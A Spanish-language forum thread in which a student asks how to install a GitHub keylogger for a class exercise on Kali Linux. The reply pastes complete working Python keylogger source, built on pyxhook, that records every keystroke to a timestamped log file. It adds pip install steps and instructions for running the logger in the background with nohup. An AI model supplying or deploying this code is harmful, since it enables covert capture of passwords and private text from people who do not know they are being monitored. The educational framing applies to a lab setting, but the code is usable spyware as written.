NO ENTIENDO!

(1/1)

Pitagoras:
Tengo una duda, estoy haciendo una practica acerca de los keylogger y este es el que me tengo que descargar: https://github.com/GiacomoLaw/Keylogger. Tengo que utilizar Kali Linux.
Ya me le he descargado pero ahora no se que pasos debo seguir para instalarlo, para que capture y guarde en un archivo todas las letras tecleadas por el usuario.

Saludos

fary:
El keylogger en Linux es un script en python. Creas el script lo ejecutas y listo  :P

Código
# import needed modules
import os
from datetime import datetime
import pyxhook
 
def main():
   # Specify the name of the file (can be changed )
   log_file = f'{os.getcwd()}/{datetime.now().strftime("%d-%m-%Y|%H:%M")}.log'
 
   # The logging function with {event parm}
   def OnKeyPress(event):
 
       with open(log_file, "a") as f:  # Open a file as f with Append (a) mode
           if event.Key == 'P_Enter' :
               f.write('\n')
           else:
               f.write(f"{chr(event.Ascii)}")  # Write to the file and convert ascii to readable characters
 
   # Create a hook manager object
   new_hook = pyxhook.HookManager()
   new_hook.KeyDown = OnKeyPress
 
   new_hook.HookKeyboard()  # set the hook
 
   try:
       new_hook.start()  # start the hook
   except KeyboardInterrupt:
       # User cancelled from command line so close the listener
       new_hook.cancel()
       pass
   except Exception as ex:
       # Write exceptions to the log file, for analysis later.
       msg = f"Error while catching events:\n  {ex}"
       pyxhook.print_err(msg)
       with open(log_file, "a") as f:
           f.write(f"\n{msg}")
 
 
if __name__ == "__main__":
   main()


Código:

The following instructions will install Keylogger using pip3 .

  pip3 install -r requirements.txt

or

  pip3 install pyxhook


Código:

How to run it

By running nohup python3 keylogger.py & command, it'll start to log your strokes: The meaning of nohup is ‘no hangup‘. When nohup command use with ‘&’ then it doesn’t return to shell command prompt after running the command in the background.

$~/Keylogger/linux$ nohup python3 keylogger.py &
[1] 12529 //this is the keylogger's PID (process ID)
$:~/Keylogger/linux$ fg

The Keylogger is now running! It will log your strokes to a file . Stop it by typing the command fg then hitting CTRL+C

or

kill {PID} for example kill 12529

Navegación

[0] Índice de Mensajes